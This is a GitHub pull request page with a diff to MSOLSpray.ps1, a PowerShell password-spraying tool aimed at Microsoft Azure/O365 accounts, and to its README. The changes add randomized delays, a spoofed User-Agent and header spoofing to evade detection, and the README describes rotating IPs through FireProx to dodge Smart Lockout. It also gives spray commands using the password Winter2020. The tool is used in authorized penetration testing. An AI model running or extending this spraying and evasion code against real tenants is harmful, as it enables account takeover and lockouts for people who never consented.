Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added alot of existing pull requests into current script, added jitter(ish), change output, added to readme #11

Open
wants to merge 24 commits into
base: master
Choose a base branch
from
Open
83 changes: 50 additions & 33 deletions MSOLSpray.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@ function Invoke-MSOLSpray{
This module will perform password spraying against Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.
MSOLSpray Function: Invoke-MSOLSpray
Author: Beau Bullock (@dafthack)
Mod'r:Ceramicskate0
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Expand All @@ -22,6 +23,10 @@ function Invoke-MSOLSpray{

A single password that will be used to perform the password spray.

.PARAMETER Delay
A number in seconds to delay between requests.


.PARAMETER OutFile

A file to output valid results to.
Expand Down Expand Up @@ -49,8 +54,6 @@ function Invoke-MSOLSpray{
This command uses the specified FireProx URL to spray from randomized IP addresses and writes the output to a file. See this for FireProx setup: https://github.com/ustayready/fireprox.
#>
Param(


[Parameter(Position = 0, Mandatory = $False)]
[string]
$OutFile = "",
Expand All @@ -62,17 +65,25 @@ function Invoke-MSOLSpray{
[Parameter(Position = 2, Mandatory = $False)]
[string]
$Password = "",

# Change the URL if you are using something like FireProx

[Parameter(Position = 3, Mandatory = $False)]
[Int]
$Delay = 10,

[Parameter(Position = 4, Mandatory = $False)]
[string]
$UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Edge/12.0",

# Change the URL if you are using something like FireProx
[Parameter(Position = 5, Mandatory = $False)]
[string]
$URL = "https://login.microsoft.com",

[Parameter(Position = 4, Mandatory = $False)]
[Parameter(Position = 6, Mandatory = $False)]
[switch]
$Force
)

$ErrorActionPreference= 'silentlycontinue'
$Usernames = Get-Content $UserList
$count = $Usernames.count
Expand All @@ -95,14 +106,20 @@ function Invoke-MSOLSpray{

# Setting up the web request
$BodyParams = @{'resource' = 'https://graph.windows.net'; 'client_id' = '1b730954-1685-4b74-9bfd-dac224a7b894' ; 'client_info' = '1' ; 'grant_type' = 'password' ; 'username' = $username ; 'password' = $password ; 'scope' = 'openid'}
$PostHeaders = @{'Accept' = 'application/json'; 'Content-Type' = 'application/x-www-form-urlencoded'}
$webrequest = Invoke-WebRequest $URL/common/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable RespErr
#Add Special Headers for Firprox Here. ';' is seperation char. Example: 'X-My-X-HEADER' = 'VALUE'
$PostHeaders = @{'Accept' = 'application/json'; 'Content-Type' = 'application/x-www-form-urlencoded'}#;'X-My-X-Forwarded-For' = '127.0.0.1'}
if ($Delay) {
$SleepTime = Get-Random -Minimum 0 -Maximum $Delay
Start-Sleep -Seconds $SleepTime
}

$webrequest = Invoke-WebRequest $URL/common/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -UserAgent $UserAgent -ErrorVariable RespErr

# If we get a 200 response code it's a valid cred
# If we get a 200 response code it's a valid cred
If ($webrequest.StatusCode -eq "200"){
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password"
Write-Host -ForegroundColor "green" "[+] $username : $password"
$webrequest = ""
$fullresults += "$username : $password"
$fullresults += "[+] $username : $password"
}
else{
# Check the response for indication of MFA, tenant, valid user, etc...
Expand All @@ -112,68 +129,67 @@ function Invoke-MSOLSpray{
# Standard invalid password
If($RespErr -match "AADSTS50126")
{
continue
Write-Host -ForegroundColor "white" "[*] Valid user, but invalid password $username : $password"
$fullresults += "Valid user, but invalid password : $username"
#continue
}

# Invalid Tenant Response
ElseIf (($RespErr -match "AADSTS50128") -or ($RespErr -match "AADSTS50059"))
{
Write-Output "[*] WARNING! Tenant for account $username doesn't exist. Check the domain to make sure they are using Azure/O365 services."
Write-Host -ForegroundColor "yellow" "[-] Tenant for account $username doesn't exist. Check the domain to make sure they are using Azure/O365 services."
}

# Invalid Username
ElseIf($RespErr -match "AADSTS50034")
{
Write-Output "[*] WARNING! The user $username doesn't exist."
Write-Host -ForegroundColor "yellow" "[-] $username doesn't exist. Invalid Username."
}

# Microsoft MFA response
ElseIf(($RespErr -match "AADSTS50079") -or ($RespErr -match "AADSTS50076"))
{
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates MFA (Microsoft) is in use."
Write-Host -ForegroundColor "green" "[+] $username : $password - NOTE: The response indicates MFA (Microsoft) is in use."
$fullresults += "$username : $password"
}

# Conditional Access response (Based off of limited testing this seems to be the repsonse to DUO MFA)
ElseIf($RespErr -match "AADSTS50158")
{
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates conditional access (MFA: DUO or other) is in use."
Write-Host -ForegroundColor "green" "[+] $username : $password - NOTE: The response indicates conditional access (MFA: DUO or other) is in use."
$fullresults += "$username : $password"
}

# Locked out account or Smart Lockout in place
ElseIf($RespErr -match "AADSTS50053")
{
Write-Output "[*] WARNING! The account $username appears to be locked."
Write-Host -ForegroundColor "red" "[-] The account $username appears to be locked."
$lockout_count++
}

# Disabled account
ElseIf($RespErr -match "AADSTS50057")
{
Write-Output "[*] WARNING! The account $username appears to be disabled."
Write-Host -ForegroundColor "yellow" "[-] The account $username appears to be disabled."
}

# User password is expired
ElseIf($RespErr -match "AADSTS50055")
{
Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The user's password is expired."
Write-Host -ForegroundColor "green" "[+] $username : $password - NOTE: The user's password is expired."
$fullresults += "$username : $password"
}
ElseIf(($RespErr -match "AADSTS53003") -or ($RespErr -match "AADSTS53000"))
{
Write-Host -ForegroundColor "green" "[+] $username : $password - NOTE: The response indicates a conditional access policy is in place and the policy blocks token issuance."
$fullresults += "$username : $password"
}

# Unknown errors
Else
{
Write-Output "[*] Got an error we haven't seen yet for user $username"
Write-Host -ForegroundColor "red" "[!] Got an error we haven't seen yet for user $username = $RespErr"
$RespErr
}
}

# If the force flag isn't set and lockout count is 10 we'll ask if the user is sure they want to keep spraying
if (!$Force -and $lockout_count -eq 10 -and $lockoutquestion -eq 0)
{
$title = "WARNING! Multiple Account Lockouts Detected!"
$message = "10 of the accounts you sprayed appear to be locked out. Do you want to continue this spray?"
$title = "[!] WARNING! Multiple Account Lockouts Detected!"
$message = "[!] 10 of the accounts you sprayed appear to be locked out. Do you want to continue this spray?"

$yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", `
"Continues the password spray."
Expand All @@ -187,12 +203,13 @@ function Invoke-MSOLSpray{
$lockoutquestion++
if ($result -ne 0)
{
Write-Host "[*] Cancelling the password spray."
Write-Host "NOTE: If you are seeing multiple 'account is locked' messages after your first 10 attempts or so this may indicate Azure AD Smart Lockout is enabled."
Write-Host -ForegroundColor "red" "[!] Cancelling the password spray."
Write-Host -ForegroundColor "yellow" "NOTE: If you are seeing multiple 'account is locked' messages after your first 10 attempts or so this may indicate Azure AD Smart Lockout is enabled."
break
}
}

$Matches = Select-String -InputObject $fullresults -Pattern "[+]" -AllMatches
Write-Host "green" "Number of Cracked accounts: $(Matches.Matches.Count) "
}

# Output to file
Expand Down
17 changes: 16 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,12 +3,16 @@ A password spraying tool for Microsoft Online accounts (Azure/O365). The script

BE VERY CAREFUL NOT TO LOCKOUT ACCOUNTS!

# TODO:

- Pass in Special Header thru CMDLine so you dont have to change in script.

## Why another spraying tool?
Yes, I realize there are other password spraying tools for O365/Azure. The main difference with this one is that this tool not only is looking for valid passwords, but also the extremely verbose information Azure AD error codes give you. These error codes provide information relating to if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, if the account is disabled, if the password is expired and much more.

So this doubles, as not only a password spraying tool but also a Microsoft Online recon tool that will provide account/domain enumeration. In limited testing it appears that on valid login to the Microsoft Online OAuth2 endpoint it isn't auto-triggering MFA texts/push notifications making this really useful for finding valid creds without alerting the target.

Lastly, this tool works well with [FireProx](https://github.com/ustayready/fireprox) to rotate source IP addresses on authentication requests. In testing this appeared to avoid getting blocked by Azure Smart Lockout.
Lastly, this tool works well with [FireProx](https://github.com/ustayready/fireprox) to rotate source IP addresses on authentication requests. In testing this appeared to avoid getting blocked by Azure Smart Lockout. HEY! Go into script and add fireprox headers to spoof.

**Brought to you by:**

Expand All @@ -20,6 +24,9 @@ You will need a userlist file with target email addresses one per line. Open a P
```PowerShell
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10 -UserAgent UA -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10 -UserAgent UA -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox -UserAgent SpecialString -OutFile valid-users.txt
```

### Invoke-MSOLSpray Options
Expand All @@ -29,4 +36,12 @@ Password - A single password that will be used to perform the password spray.
OutFile - A file to output valid results to.
Force - Forces the spray to continue and not stop when multiple account lockouts are detected.
URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.
Delay - Number of seconds to wait between requests. (int)
UserAgent - Spoof User Agent string.
```

### Shout out to contributors
- https://github.com/ceramicskate0/
- https://github.com/rvrsh3ll
- https://github.com/davidnibbe
- https://github.com/justin-p